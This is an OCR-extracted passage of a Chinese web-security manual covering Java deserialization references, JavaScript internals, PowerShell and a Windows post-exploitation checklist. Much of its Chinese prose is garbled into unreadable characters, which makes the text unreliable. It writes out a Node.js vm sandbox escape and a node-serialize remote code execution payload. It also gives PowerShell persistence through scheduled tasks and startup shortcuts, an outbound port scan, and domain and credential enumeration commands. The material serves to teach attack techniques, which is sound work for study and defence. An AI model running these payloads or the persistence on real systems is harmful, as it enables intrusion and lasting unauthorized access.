Commons Collections Java. [ FEFMLIRRTE AT
FAR SIDES OF JAVA REMOTE PROTOCOLS
IDK8u20 [ 79I LARIAFT M PoC B K HL A 5280
Pwn a CTF Platform with Java JRMP Gadget

WebLogic 751 4kl i85

M WebLogic 7 527414k il i A -5 B 0
JSON RJFHMe2 5%

Shiro -5 BT

Application Security With Apache Shiro
Shiro Z4HEZR [HGHEATT]

Shiro SZ&& (IU) - s yE#RAL ]

Java Sandbox Escape

Struts
Struts Examples

Eclipse Jetty

SpringBootVulExploit SpringBoot M KR~ ok, FIMINEREY &4, MELAVE checklist

HEZRFI RIS

Spring Boot Fat Jar 5 4wz RCE HHRZ%R
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http://www.freebuf.com/vuls/176672.html
https://xz.aliyun.com/t/3847
https://security.tencent.com/index.php/blog/msg/97
https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
https://mp.weixin.qq.com/s/3bJ668GVb39nT0NDVD-3IA
http://blog.orange.tw/2018/03/pwn-ctf-platform-with-java-jrmp-gadget.html
https://www.freebuf.com/articles/web/169770.html
https://cert.360.cn/report/detail?id=c8eed4b36fe8b19c585a1817b5f10b9e
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https://www.infoq.com/articles/apache-shiro/
https://zhuanlan.zhihu.com/p/54176956
https://cloud.tencent.com/developer/article/1367702
http://phrack.org/papers/escaping_the_java_sandbox.html
https://github.com/apache/struts
https://github.com/apache/struts-examples
https://github.com/eclipse/jetty.project
https://github.com/LandGrey/SpringBootVulExploit
https://landgrey.me/blog/22/
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RMI

Java RMI 5 RPC /X 51

Remote Method Invocation (RMI)

Java ' RMI, JNDI, LADP. JRMP. JMX. JMS Jee L,

Oracle: Developing T3 Clients

JNDI

e Overview of JNDI

xTF JNDI A
e A Journey From JNDI LDAP Manipulation To RCE

W et A JIDK R H|#EFT INDT FEA

WebShell

o BFhLF jsp webshell

Hivl®miR

o JAVA H LY XXE il 5 A5

5.4 JavaScript

5.4.1 ECMAScript

&gt

ECMAScript s2—fil1 ECMA [EFridiid ECMA-262 fRifELH AR P RO THE S, EAERHARN JavaScript
5 JScript. WA, HLAIAN ECMAScript /2 JavaScript #—AMpif, HEEPR EJEH# 2 ECMA-262 fx
HERSC BRI o

hRZ

1997 4F 6 H, EHRAM. 1998 4£ 6 H, #H7 THgUBIE, PUEARHEA Y ISO/IEC16262 [ Frfrit—3K.
1999 4 12 A, 5IASRKMIENZIR, BAFRIRELE LB, Frivistilie &, SO, fiie CH
INEHEG, BEE R e R IR . TSR T R TIE S R A B, 5B 4 BURBEGT, HA A
SR T8RS 5 AR I Harmony (1)Lt .
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https://paper.seebug.org/1091
http://docs.oracle.com/cd/E11035_01/wls100/client/t3.html
https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
https://paper.seebug.org/417/
https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
https://www.freebuf.com/column/207439.html
https://xz.aliyun.com/t/7798
blog.spoock.com/2018/10/23/java-xxe/index.html
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2009 4F 12 7, SARAEA, Hil R (strict mode)”, W T2 3 BURIBIME, FFiEM T
FRTEA—EUY BT S BAT . H T BB IRE A0 getters K setters, SCHF JSON DARAEXT SR
P bR SERER U o

2015 4F 6 A, % 6 kA, St gifrfi2 ECMAScript 6 (ES6), #shn 7 JAMERA IS, 5404, Python
AR B A A R B e ks, SR, bR, #RSRAEH, & (maps, sets Fll weak maps),

promise, reflection F{I proxies.

2016 4 6 A, ECMAScript 2016 (ES2016) %7, 5] A Array.prototype.includes . 8505 4. SIMD
ERREE.

2017 4 6 J], ECMAScript 2017 (ES2017) %Afi, ZDHMkEHIE =1k

2018 4F 6 /1, ECMAScript 2018 (ES2018) %A 75w A IHER, ALl , B IE 235 5 URF A rest /spread
k.

ES6 451t

e const / let
o BHT I
2]

— [a, b] = [10, 20]
o MRSk
e for...of fE¥
o .. xxx EIHEEYG
o WAEZEL
o Pk EREL
o BAS B
o BINME S

. K

5.4.2 5|8
V8

V8 J2 Chrome (1 JavaScript {&& AT (VM) . HF|[ZH TurboFan. Ignition Fil Liftoff ZH%. Hr
Turbofan 2 H A4S, Ignition N2 HA#RES:, Liftoff 12 WebAssembly fIfCHSAE s .
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SpiderMonkey

SpiderMonkey J& Mozilla I H f{)—&4, &2— 4 C/C++ L) JavaScript JIARG |2,

JavaScriptCore

JavaScriptCore [IEALII T4 AU 5%, LLInt, Baseline, DFG, FTL, LLInt 25T ME M REHITER
Baseline ;2% }f#) JIT, DFG MBI af—e itk FTL BB 2o mtiie.

ChakraCore

ChakraCore s&— 5281 JavaScript FEHIML, HHREEEEL, T Edge WYEERAK IE 1A RA 4

JScript

JSeript 2 T LR ASTE S, A ECMAScript MIERISEEL, HT IE iR HIRA .

JerryScript

JerryScript &—4NE T AR/ JavaScript 5128, =BT LK H4E90.

5.4.3 WebAssembly

[CF1

a1 52, WASM @& —Fpar & BAE W W as AT AR s ik . B —M 3t HhiE s, HE Lk EEE
WEPRER FIBAT. FEEfT, AR g I A, T DAYE N YA P PR A LR A, SRS LS
JavaScript ¥ A RHIINAT .

a7

SR SR T REAA [ 07 2RSS B Wasm S2FF, (2T &FFSLE R & JavaScript M.

TEN Vi gs iz iy, Wasm B AR 5w BoR ARS8 SO B SCFER JavaScript SN 735804l . SR )G 18
H JavaScript SEGIAE OB ARSE, HEIRBETEI A JavaScript B2 10 T BLEAE 0L ] Wasm,
Bk Wasm A[PA C / C++ FEF RS, HEAGARSUHEZ INIMERTH., XERE 24 Wasm [
FARR AR A T SO SRR, BT S A NS 2R AL AT BE AR5 (6T FH D0 W e Ay H SR
Wasm H 0 NIE 2 MER, B Wasm W FHFRFEH JavaScript 22 83522, 24 Wasm pRECG F4FE R 9] 4
JavaScript i}, B5EFs PR El—A~48 10 Wasm W HFEFF INAF2S 8 N O B R F8 5 . Wasm W HIFEFF A 5 L a8
A B4 B JavaScript NAEERSY, AN 2R INAFAS ]
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z&
Wasm (30T AT JLAST7 T 5 FER AR Wasm (1224
o DRI P32 ol T IO R R R R T R I ) B R P AR
o RPN RGPS E R R R
o NIFEN BB R A
FR 2 A
o Wasm W HREFAEVPA NIBAT
Wasm FEYERAL RO ST eR A0 . Wasm SRR R B AT 40 510050, S S e s ek
[FI] BR KU 32 R B A A A Y 249 TR
T HERZ BN OR TP, X R ok iR n i B
ST R R XA R T TSN B ECRE R I

54.4 fERBSAE
{ERBSIEREE

R

ey R L, A S e 2 BT el R T IR0 S R, BRI D e ) A5 A SRR Yl A A A i
JavaScript f{E 2 S8 R BORIZ IR, i Bl — A~ e R 28 A E s AN AS il AT D

PERIRT A2 R I SRy PRI A e, He v R s A DA =i o -
o BRBONHIE LA B 4R A I
o ARE SCEERME 2L i A S I 4R
o window Xt J@ A 42 R )

Syl s U T R AR R BEN T 02, e DLAR B AN R B0, i AR S Fa R A S Ay e
(Db

1 RSt i

FE ES5 bl , FAT S AR R, BOA BRI, R ] R S A S e 1 .

var i = 1;
function £() {

console.log(i)
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if (true) {

var i = 2;

}
£0); // undefined

{ERESIRFA (var Hoisting)

1 JavaScript #, ST var 7R 808 4 R AT AT TS 7 B AR S A 2 TR IR T E PR, AT Rk
Hoisting. Bl X BTSSR T 56 — BefUhs

function foo() {
console.log(x); // => undefined
var x = 1;
console.log(x); // => 1
}
foo();

function foo() {
var x;
console.log(x); // => undefined
x = 1;
console.log(x); // => 1
}
foo();

RS

MERBRIATIN, SRS R BN TR TR A &, RN B R A B, U2 1) 6 7 e Y _E A T I
TR, HERE SRRSO L, XA SRR T

e
PR 5 R HORAS B3RS (lexical environment) [¥5] FSL[EIH S A6 (closure). Wit2t, P AT PALE

AR A AT R RS 1) MR R A ke A JavaSeript,  pRBSCEESE U B AR I 42 o

& JavaScript ", HBAHFERXT private TriARYSCRE, B0/ IE R BERA — 2R B T IA T
P 0P R — ] AR TRUUFLG IR %6 S9SN R T R A Ry A4 2SR BE T, A
ORISR MG e TR AL Dy . R TR — AR B
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var Counter = (function() {
var privateCounter = O;
function changeBy(val) {
privateCounter += val;
}
return {
increment: function() {
changeBy (1) ;
1,
decrement: function() {
changeBy (-1);
},
value: function() {
return privateCounter;
}
}
HO;

console.log(Counter.value()); /* logs 0 */
Counter.increment () ;
Counter.increment () ;
console.log(Counter.value()); /* logs 2 */
Counter.decrement () ;

console.log(Counter.value()); /* logs 1 */

SRR

SRR MRS, ERETER 2R

EFE R ARG 2 globalThis |, EIRARIEREHER this (EME. 75 /MER Yids P AAAE self Fl
window & JRIXTER, Web Workers H/F1E self £JFXt4, Node.js F/FELE global &R .

5.4.5 ERER
w9

15 ES5 w1, B T IER A T Z A, B 7T AR (strict mode) , XA AUHS A i g o
PR RS BIR “ (sloppy ) MEATE B ™ MM 25 1 N IB AT PRI UUR — 14 B4
el TS IR AU A [ 4 S

FIATRBY H A 20
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o SEEA B BRAT R T L A TR A

o VIR JavaScript IHEM—SEANGRL, AT AL, WL RATR

o HBRAHEBITH—ERZ 22 AL, RIERIYIZTTIE 4

o BE T —LSE JavaScript SIEEMEDAPATILILROBRIE , A HIFARECE, W T

o S8 THE ECMAScript BARAMAS T BESE A —S8TEL, ARMFIAR 1) JavaScript i

AR

JEASHE ] "use strict"; FAFERIFE. XTEANA NS, WTPARF "use strict" U MIA IR
B AT A AR D A GE T MR A TIBEAE S AT WA S AR, SPAEEEEETT.

XHEAABRELIMNT  , FF "use strict" FAERBUARIE 4T, WA R 8 Hz1T
FES AR, A DA AT S
2REERXFH

FEIEFAE, IR R BRI, BOAR e R i, AR Ik M L, &R Rl e
Gl R

"use strict";
for(i = 0; i < 2; i++) { // ReferenceError: i is not defined

}

FIEER with &4

with A JCIETEG I 0 E , JRHERIRIEIE MR, XS MMmIFRCE, FroAE a8 PR k.

1% eval {ERE

IEHAECE, eval IR, BukTeOT 2R RN, 2T RS, MR, eval 14
AR —MERE, AR AR T, BRI A E R BB T eval N,

FILMREE

JERAATE ToiA MR A H . JUA configurable WER true WX RIENE, A BERMER
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B

IEFRATR — 2R L R N, (ER AR B R R, SR A T LR 5t

o XSG H B E M TR

o XA getter J7 A EEHUN SRR TIR(EL
o XIER LY AR SIS I

o MMER—AA I ER 8 1

HIEHEIR

FERERLERTRE T SRR, 4
o XMEAREHEL IR
o HREAREREAISE
o BERHERIFREE
o B IITETUZ
o BiHRREr

— class
— enum
— export
— extends
— import

— super

e

o ZAIL this KETIRIERMS
o BRIk A R AR A S TR R

PR#I arguments Y&

o ANAVNT arguments IRAH
o arguments NFIBEES I Z N

o Z5IL#i ] arguments.callee
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5.4.6 SLHLH
async / await

async function JH5 HIARAEFRB A HE SURA REL

Promise

Promise %42 —PMINR (REL—AME) , #ABAYELE Promise X GAIEM AT RER AN . B RVFIR
S A B R TR R G 7 3 90 AR R AL B D7 % (handlers) o Xk 25 7 ¥R T DMR IR 07 iR 1M
HIFAGEAL BRI e A A TEE R, i REAUR AR I BUI S5 promise X5

—> Promise A ALK
o pending: FIRIRAS, BEANRBY, HAREMCIRT.
o fulfilled: TEHREPRIEBINTE ML
o rejected: BEWREEIERIL.

pending ARZSHY Promise XfRATREAAE N fulfilled JRAH AL #— MEZA N APIRSEI 2, WA EeAE Rk
WOIRZS (rejected) FHAZIBRMUFE . M AAE—FMEI L AT, Promise XA then JyA48 e AL B ¥
(handlers ) sELBEAM (then %M E NS4 onfulfilled I onrejected, EAJ#{Z Function 2AL, 4
Promise (KA fulfilled B, 8] then B onfulfilled J5¥%, 24 Promise JRZH rejected B, iEf then By
onrejected J7¥k, BT UATE 2D BRI 58 UM S AL VA 2 [BIANFEAE S 4 ) o

> Promise.prototype.then 1 Promise.prototype.catch Jy¥£iR [H] promise X754, ArPAEATR] DAL iE=CH
H.

HATBASI

JavaScript H) A ATHLE AT -
o A RIPALSEAE TR LA BT, B PUTHR
o BB, A MEFS I RERPALHFA T T428, WAE LS5 I 2 P icE— k.

o —HIITHAMITA RS S IT5e e, REMABPUE SIS, R RRAWLESrE, IR
TS, TRATREMHIRE, IAPITH, AT,

o ELRBAWES LB =S
HoA AR 0 e 2 AR, e BERS I PIAZ ThANR] 04 5 2545 A TR) ) 0 a2 A AR R B T, 2P
PBAELREAR S MR BN S5 BAS o FTRASR S DOM S, B[ [l i L 90 265 [l i = o -
o DOM =l ) DOM SR ab 3, 4 {hfil A i, [l o 2 23 s I B AE 45 BAF )
i
o HF[EE: setTimeout / setInterval % pf%i<x fHiXI Y25 NAZIY timer BIHORIFATIERFALBE, 2415} A) 5]
IRBEGE R ] R RIS I BT 55 BA S
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o FIZEEI: ajax / fetch 20 0 BE4E NAZET network BEHORAEIE, FEM TR ORI 2 J5, 750l
PSS B S5 BAS

5.4.7 [REIGE
EXREFRARE

JavaScript R B R A (explicit prototype property) FlaR 5% (implicit prototype link).

Hop @R 445 prototype, Je B — @M, XNEMES— M85, RI— DR, BaRBUcTgRE 5
HryfEte, RARBA AR

B U4 JavaScript AL EXTREA N BRI prototype. 7E ES5 Z BB A RMER I AT X AN E
JEYE, HRRZHN Vg E @ __proto__ Ryji. ESS A TR XA N EEHEARER Get Jrik
Object.getPrototype0f () .

B 2 3 ) A1) 78X S X S R EX (comstructor) [ prototype, __proto__ #8[m] 2 4 HIXT S R AU 52,
Il prototype FHI, & DAY BRECVE A A4 1 bR ESORA) 3 R 0T S 1 SR B 42

BRI E/E R SEBE T IR A MR 5@t ng St =, BRI a5 804% , [RIRE A F e i+
JRALA AR . 25007, 4FRATUT obj XX AT x @R, WHEAE obj FIRAR, A E
__proto__ {KIk#AHK .

Note: Object.prototype iX PMxf £ ENFI4N, T #__proto__ {4 null

new BYit 72

var Person = function(){};

var p = new Person();

new [t FEIRTBPA R =20 - var p={}; ¥WIHL—DXI4 p - p.__proto__ = Person.prototype; -
Person.call(p); i p, WAILAFRZ AHILAM p

KT, BAPRIEN—T:

var Person = function(){};
var p = new Person();

alert(p.__proto__ === Person.prototype);

KB IR ] true. PEMIFRATHIR 2 2 IERHAY .
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B

var Person = function(){};

Person.prototype.sayName = function() {
alert("My Name is Jacky");

};

Person.prototype.age = 27;
var p = new Person();

p-sayName () ;

p 22— A5G Person BIXFR . FATHE Person AL 15 T —4> sayName J5iAH age J@IE, 243KA]
AT p.age W, SHETE this FNFRAH (RALRMEREINTR) , WSRBA LB RS E AL _EIa .

X EIBWE B AR _ERYE? X BRI __proto__ JEMOREEEF AL (2 Person.prototype)
BT . AR EHE] T age JRIE.

JREISES R

WRTSCHE RN, JavaScript ZENAEMIK, il __proto__ B H BRI &M EIA M AR . it
MEREA R RIS OU T, i nT R BB

5.4.8 LFEkE

bl

TEHis H, WAES MR eval , E'S Function.prototype.constructor / GeneratorFunction /
AsyncFunction 575 0K 58 NI VP A . TEXFMEOL T, W RAGE AR —A 8T iframe 15 20k SREURT
IUEARFEZRR

B 353w 48

JavaScript #2017 HAER v BB, HTREE T LT SO, HURAE IR IR KSR W] DAV IR AR HE )
JavaScript API fil4: 51 NodeJS ¥b%,

TSR U AR R, R R ki 2O -

const vm = require('vm');

const sandbox = {};

const whatIsThis = vm.runInNewContext ("
const ForeignObject = this.constructor;

const ForeignFunction = ForeignObject.constructor;

i)
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(B bTT)

const process = ForeignFunction("return process") ();
const require = process.mainModule.require;
require("fs");

*, sandbox);

8% JavaScript J5/E vm BURIGEREE , AITEBRAT T vm2 AR AN E LR R R, (BRAEIHA
A A R E— L ki Ty 5, i

vm. runInNewContext (
'"Promise.resolve() .then(()=>{while(1)console.log("foo", Date.now());});y
—while(1)console.log(Date.now())"',
{console:{log(){console.log.apply(console,arguments);}}},
{timeout:5}
)3

5.4.9 RFES{t
&
JavaScript 4~ B FH A RE AL LI, {H2—S8FE 4 node-serialize. serialize-to-js 253735 T KT FIMLINRE .

XA JSON JERIetE S, B2 E A k% JSON.parse, JSON.stringify AN[A], i%kL8JE &%
ATt G ST 504, FrBIE R, WSR2, W n]RE S BT 414k ) it

Payload #3i&

MR, BRI S R

var y = {

rce : function(){

require('child_process').exec('ls /', function(error, stdout, stderr) { console.
—log(stdout) });

},

}
var serialize = require('node-serialize');

console.log("Serialized: \n" + serialize.serialize(y));

F AT k]

"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('ls /', function(error,

—stdout, stderr) { console.log(stdout) });}"}
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FREEE pavlond SIESHLEHRAHAT, IAE IS s EIA I ACAIAS (Immedintely Tovoked
Function Expression), [t#ll (function () { /* code */ } ); XEEMSPATHEET IS, IBARDA
i X PO VA S BT YA G B AR R SR SE I — IR T A . 1) payload JU4N T

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\',
— function(error, stdout, stderr) { console.log(stdout) });}(O)"}';

serialize.unserialize(payload) ;

Payload #3i& 11

PALFREI )& node-serialize XIS FIMLIERIME T 2, A 2PN funcster, Je I ELEPF T AT AY
18 PR T AR

return "module.exports=(function(module,exports){return{" + entries + "};})(O;";

AR AT AGE AR A P &5 K A58 payload.

5.4.10 jsfuck cheat sheet
Basic values

o undefined > [1[[]]
o false > ![]

o true > !!I[]

o NaN > +[![1]

o 0> +[]

o 1> +1+[]

e 2> 1+[]+1+[]

Basic strings

o 't > [1+[]

o 'undefined' > [1+[1[[]]
o 'false' > [J+![]

o 'true' > [1+!!I[]

e 'NaN' > [J+(+[![11)
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o '0" > [1+(+[D)

o "1 > [I+(+1+[D)

o 2" > [1+C+[I+1+[D)

o '10' > [+!+[11+[+[]1]

o 11" > [+!1+[11+[+!+[1]

e '100' > [+!'+[11+[+[1+(+[D)

Higher numbers

e 10 > +([+!'+[1+[+00D
o 11 > +([+!'+[11+[+'+011)

e 100 > +([+!+[11+[+[11+(+[1))

String alphabet

o 'a' > ([+![D[+!+[1]
(OI+0 00O [++0+1+111

2
Vv

CO+1+0D [+ [+ + 0+ 0]

L]
©
v

O+ [+01]

=
v

(OO+00OD [+ + O+ + 0+ + O+ + [+

M
V

CO+ 0D [+ + 0+ 001

L]
=
V

(O+010011) [+1+100]

h_
%

(O+1+0) [+1+ 1]

H
%

(O+ D) [+ + 00+ 1+ 0+1+ 1]

L]
]
\Y

o 't' > ([+!+[D[+[1]
(O+1+0) [+1+ [0+ + 1]

;_
%

5.4.11 Trick

B IE N RE XIS EF

empty = RegExp.prototype.flags
regSource = { ...RegExp.prototype.source }
regSource.toString = Array.prototype.shift

(T gk%E)

5.4. JavaScript 215




Web-Sec Documentation, 475 1.0

regSource.length = 4

left = regSource + empty // 4k (
quest = regSource + empty // A ?
colon = regSource + empty // A
right = regSource + empty // 4 & )

xss = {}

xss.source = 'xss'

xss.flags = 'a'

xss.toString = RegExp.prototype.toString

xss + "" // => /zss/a

5.4.12 Hith
WLIIT

Node.js H' child_ process.exec iy 2 /bin/sh , HA] AR T 1Z ey 24047 shell

RARARTS

o PRHEE X console.log = function(a){}
E

Wi & setInterval (function(){debugger}, 1000);

&R

JavaScript /XTS5 Loy S s DI MRS UL

Bl DUXF— ARG T DU, AL DUXF G5 1 I BEA T8 DL, (E2 48 DU QAR Gk 25 | i [l —fr sk
Horp— X R IR X M B 55— X 4R

TRYE DU DL — XS, AMUHEN RIS S, IBEZR T AR DL, SR 5 DU
FEHMMSL, FHAAEAT— RGBSR 2008 73 S — DX R I -

EE DI PAET for-in / object.assign() / i@ F ... / JSON.parse(JSON.stringify ()) 5EH =
S HAET =R U ROREE DL, SRR AR A%, TR B B O R 2 kA T
UL,

% Sink

e child_process

e eval
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® exec

e execSync

5.4.13 BEHEE

o JavaScript TS

e ECMAScript Language Specification

e js prototype

e javascript BjHFF

o XSS ity K i

o exploiting node js deserialization bug for remote code execution

e Prototype pollution attack Content released at NorthSec 2018 on prototype pollution

5.5 Golang

5.5.1 Golang Runtime

Go HHLAEBAR N Goroutine B5( G, WRREGAR N M. X8 G @ifEs| M £, RIFFEN G: M et
B, SCERE M N AR, A E AR green ZRARMIY,

5.5.2 iR LE

o Go PR IHZ N UTF-8
o 8% Unicode 58147 FHIF A rune
o Go AL B AR AL
o PR M SRR T
?

P AL & PTG ST, FAFER IR AL S AR UTE-8 75

5.5.3 &

e Strings, bytes, runes and characters in Go
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5.6 Ruby

5.6.1 &E§EHE

e ruby deserialization

5.7 ASP
5.7.1 &

ASP RBISHSSA% I (Active Server Page), 2 MBITAIIZEML CGL PIATRFHY—FRAT, HRBUCHER
2 .asp .

5.7.2 &XE5E

e Deformity ASP/ASPX Webshell, Webshell Hidden Learning

5.8 PowerShell

5.8.1 ITRER
PowerShell 2t T Restricted. AllSigned. RemoteSigned. Unrestricted., Bypass. Undefined 7SIk,
TR .

Restricted S0 ] DAPATEAN AT 2, (HEABEIATIHZA, Windows 8. Windows Server 2012 #vBRiAf# 1%
%H%O

AllSigned Hemg VAT ITA BA BT EL4 A

RemoteSigned 4 AT MM %% LN IAE, TEPMARGHFES, HWASBTX A IR
A QA A AT AT, A EORMA A BT 44

Unrestricted X /@& —Ff AL SR HISRENG, RIFBITREL KA. XFTFMAME LN RMA, fEisfraia it
Fraeatin.

BypassBypass $AATHM X IA B AT A BALATRI BRG], AEATRIASES T ASET, I BA A LR
UndefinedUndefined F/R3A B E A HEMS, AR BRI R B AR S
5.8.2 Ri&

¢ -EC
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https://www.cnblogs.com/LittleHann/p/5016999.html
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¢ -EncodedCommand
¢ -EncodedComman
¢ -EncodedComma

e -EncodedComm

5.8.3 E R IhEE

THRIES

$Action = New-ScheduledTaskAction -Execute "calc.exe"

$Trigger = New-ScheduledTaskTrigger -AtLogon

$User = New-ScheduledTaskPrincipal -GroupId "BUILTIN\Administrators" -RunLevel Highest
$Set = New-ScheduledTaskSettingsSet

$object = New-ScheduledTask -Action $Action -Principal $User -Trigger $Trigger -Settings
—$Set

Register-ScheduledTask AtomicTask -InputObject $object

Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false

elfEc3

$Shell = New-Object -ComObject ("WScript.Shell")

$ShortCut = $Shell.CreateShortcut ("$env:APPDATA\Microsoft\Windows\Start,
—Menu\Programs\Startup\test.1lnk")

$ShortCut.TargetPath="cmd.exe"

$ShortCut.WorkingDirectory = "C:\Windows\System32";
$ShortCut.WindowStyle = 1;

$ShortCut.Description = "test.";

$ShortCut.Save ()

s

$0riginalCommand = '#{powershell_command}'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes ($0riginalCommand)
$EncodedCommand =[Convert]::ToBase64String($Bytes)

Hit

. WA
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o fiE rg

. R

o 3XfF

o M55

FESCAE

alias

Invoke-WebRequest "https://example.com/test.zip" -OutFile "$env:TEMP\test.

zip

Expand-Archive $env:TEMP\test.zip $env:TEMP\test -Force

JaEh#EFE Start-Process calc

{5 1| JtFE Stop-Process -ID $pid

Bt New-Item #{file_path} -Force | Out-Null

WHE N Set-Content -Path #{file_path} -Value "#{Contentl}"

BN N %S Add-Content -Path #{file_path} -Value "#{Content}"

52 #1304 Copy-Item src dst

— MBS Remove-Item #{outputfile} -Force -ErrorAction Ignore

F-H3% Get-ChildItem #{file_path}

KBRS Get-Service -Name "#{service_namel}"
B3R 4% Start-Service -Name "#{service_namel}"
{%1 k% Stop-Service -Name "#{service_namel}"

MBS Remove-Service -Name "#{service_namel}"

o FKHL WMI §F Get-WmiObject -list

5.8.4 BE§EE

o PowerShell ‘B 75 Y

5.9 Shell
5.9.1 &

Shell 2—MRIRRIRESY , M Linux fH52. Shell BE2—Fhays, X2—FEF3aiTifs .

220
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https://docs.microsoft.com/zh-cn/powershell/
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Linux & Z#f Shell , % WLAYA:

Bourne Shell (ATT {§ Bourne F-%, %% sh)
Bourne Again Shell (/bin/bash)

C Shell (Bill Joy %, %K csh)

K Shell (ATT ffj David G.koun FF%, %K ksh)

Z Shell (Paul Falstad 7%, %44 zsh)

5.9.2 T

shell —ft&H —FRIVEFIR T, FRIIM—ERRBER, P FAERR AT T4
FRIC AT AT BE A o

LB TC AR :

o IFS [y <space> B <tab> B{ <enter> =2 —#

CR H <enter> ;=4

ML P R EL

= WESSHE

$ (EAs Srala AR
> T E [ stdout
>> JE N E| S

< HE5E A stdin

s TR — A EERE, AT

&& LER— DO RMEIITIE, AT T—P S
|| ERT— A PATIREE S . AT F— s
' AEEE S N i S 2R SR I

" TERLG S N i 2 SRV AL S

©CHERG S NN S LA - P TIT R
O FEF Shell FH T4

{3 752477 Shell FFHFTAES

~ EIH R H Sk
'number AT AL, AT 11

(Meta), N[FEf) Shell 37

5.9.

Shell
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5.9.3 @HEFF

ICFAGSh, AT (wildeard) /2 shell E)—FUSFREF. 24 shell ZESHRIBE] THERAFAS, shell &
G R BSR4 AR IS T T RBRIUTI . 2 A BRI USIOAETE, WP, Mk e
TN — BT RE e .

5 UL A AT AR
o * UL 0 B NF4F
o 7 ILEAEE—AFAF
o [list] PERE list AL —DF4F
o ['1ist] PUECR list SMNUATE—F
o [a-c] VLAL a-c FEATE T4

o {stringl,string2,...} 4} HIVCHLH P FZLFE

5.10 CSharp

5.10.1 FIAFIS

P/Invoke

Platform Invoke (P/Invoke) $&fit 7" C# /1A DLL 845 H . mlE . sREUWRE . EARMMEH e
Platform Invoke SCRHFrR. FI P/Invoke HIHE Sy, C# R I AR HZ 5 W F ey Windows API,

using System;

using System.Runtime.InteropServices;

public class Program
{

// Import user32.dll (containing the function we need) and define

// the method corresponding to the native function.

[D11Import("user32.d11", CharSet = CharSet.Unicode, SetLastError = true)]

private static extern int MessageBox(IntPtr hWnd, string 1lpText, string lpCaption,,
—uint uType);

public static void Main(string[] args)
{
// Invoke the function as a regular managed method.

MessageBox(IntPtr.Zero, "Command-line message box", "Attention!", 0);
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(B bTT)

}

P /Invoke W RiAET 5 TR APT R S th BIAE nT IATSCPRAY TAT o, flAS— SRR T o 2 2 B
PHAEPER . (RIS APT n] R E P B v B sy, il ad iAoy sCib ATy APT 8 B2 2 1
B PP AFEA

D/Invoke

£ P/Invoke YEERR I, AHFFEA RIEH TET Delegates ALY D/Invoke, i B 77 s TR
1 APL,

5.10.2 SEHE#E
.Net

e .NET documentation

FIR$I5

o Emulating Covert Operations - Dynamic Invocation (Avoiding PInvoke & API Hooks)
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R MiEE

6.1 Windows PJ;&iE

6.1.1 (SRME
BEXd

o FH144 hostname
o HIIA ITENILFR dsquery computer
o PAMCE AN T A
— systeminfo
— wmic qfe get description,installedOn /format:csv
o HHEMA ver
o HRMEE
— tasklist /svc
— wmic process get caption,executablepath,commandline /format:csv
— get-process
o BENTHNLEAR set
o #EIILIFES schtasks /QUERY /fo LIST /v
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o FEFE MK E)] DRIVERQUERY
o HARBMERGGEE
— Z8}] wmic os get osarchitecture
— &Y% wmic os get caption
o BWEZHSYL wmic logicaldisk get caption
o BELEMNEIEE wmic product get name,version
o HHIRSHEL
— wmic service list brief
— sc query

— Get-WmiObject win32_service | select PathName

HiER

o PRI I net view

o MK net view /all

o BEFAE, net view /domain

o AR HREE

o H{ZE{5H nltest /domain_trusts

o ENIFE net time /domain

o BRIP4 dsquery user

o TiAIEAIZFR net group /domain

o TIPS net group "Domain Admins" /domain

o MFEERER

nltest /dclist:xx

Get-NetDomain

Get-NetDomainController

net group "Domain controllers"

RAPER

o AP

— net user
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— whoami / whoami /priv / whoami /all
— wmic useraccount get /ALL /format:csv
o HPHHUER whoami /priv
o BEUHIIR net localgroup administrators
o BEAFLM S quser / quinsta / query user
o BEMHITANA, &4, W%, RGO, TR, 65 net config Workstation

o ACL f§ 8 get-acl

MEER

o IR BLAE R
« MF{5E ipconfig
o SMMIHIT
o ARP ¥ arp -a
o EH# route print
o WWTHYEE T netstat -ano
. RO
o AR
— Get-NetTCPConnection
o hosts {4
o 4% DNS
o DNS Z47
— ipconfig /displaydns

— Get-CimInstance -Namespace root/StandardCimv2 -ClassName
MSFT_DNSClientCache

o BRI NGO
— powershell -¢ 71..65535 | % {echo ((new-object Net.Sockets. TepClient). Connect(’allports.exposed’,§_))
$_ } 2>8null”

B A b

o TEGKBEIRE netsh advfirewall show allprofiles

o [j:kiik Hi HS% netsh firewall show logging
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o [ kEEHN] netsh advfirewall firewall show rule name=all
e netsh firewall show config

e netsh firewall show state

ZMER

o Windows RDP #%EHzi05¢

o WBEE DRI S T

o RGUETE LS A R T

o JENESFRPECIE P SIS B
— C:\sysprep.inf

— C:\sysprep\sysprep.xml

— C:\Windows\Panther\Unattend\Unattended.xml

C:\Windows\Panther\Unattended.xml

] =1y

e cmdkey /1
o Kklist

o msf meterpreter

IR
o 3B
— xlsx / s
— docx / doc
pptx / ppt
— vsdx / vsd
~ md / txt

o HE&RSCIE
— zip / rar / Tz
e VPN P

— ovpn
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. AU
— py / php / jsp / aspx / asp / sql
o PCE
— conf / ini / xml
— K5/ K/ 5k / login / user
— %t / pass
— R/ OBy /A [ #& /gt / svn
— WEAE /IR /SR DA
— {3 / 4 / VPN
— W/
- R4 /a4 ) W ) Mg /1T
- GG/ EHR /Bl
— MugE / WRE /B ks MR/

Hith

o SRS
o [ ifru;
o RIATBITIAT S
o VFTUSCPRD SR
o BRSO
— wmic qfe get Caption,Description,HotFixID,InstalledOn
o HESIHHER
— wevtutil
— eventvwr
o HMERAER

— reg

o RIS agent HifEHME
o LERPIRTEPAF
o A/ BEERSORHR

6.1.
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— assoc
— assoc .ext=example
o PowerShell fi7x

e .Net A
o Wi-Fi 15

6.1.2 X1t
Pt e 3L 14

o GBI RGERE ST

— attrib +s +a +r +h filename / attrib +s +h filename
o Ffl NTFS ADS (Alternate  Data  Streams) £ 4
« FUJHl Windows {1

— aux|prnlcon|nul|coml|com2|com3|comé|com5|com6|com7|com8|com9|1lptl|1lpt2|1pt3|1lpt4|1lpt5]|lpte

B

sethc

sethc.exe ;g Windows RGEAEM % NI shift SR RO AL BIRR Y, 405 SUPHEZ BOA ATRUR
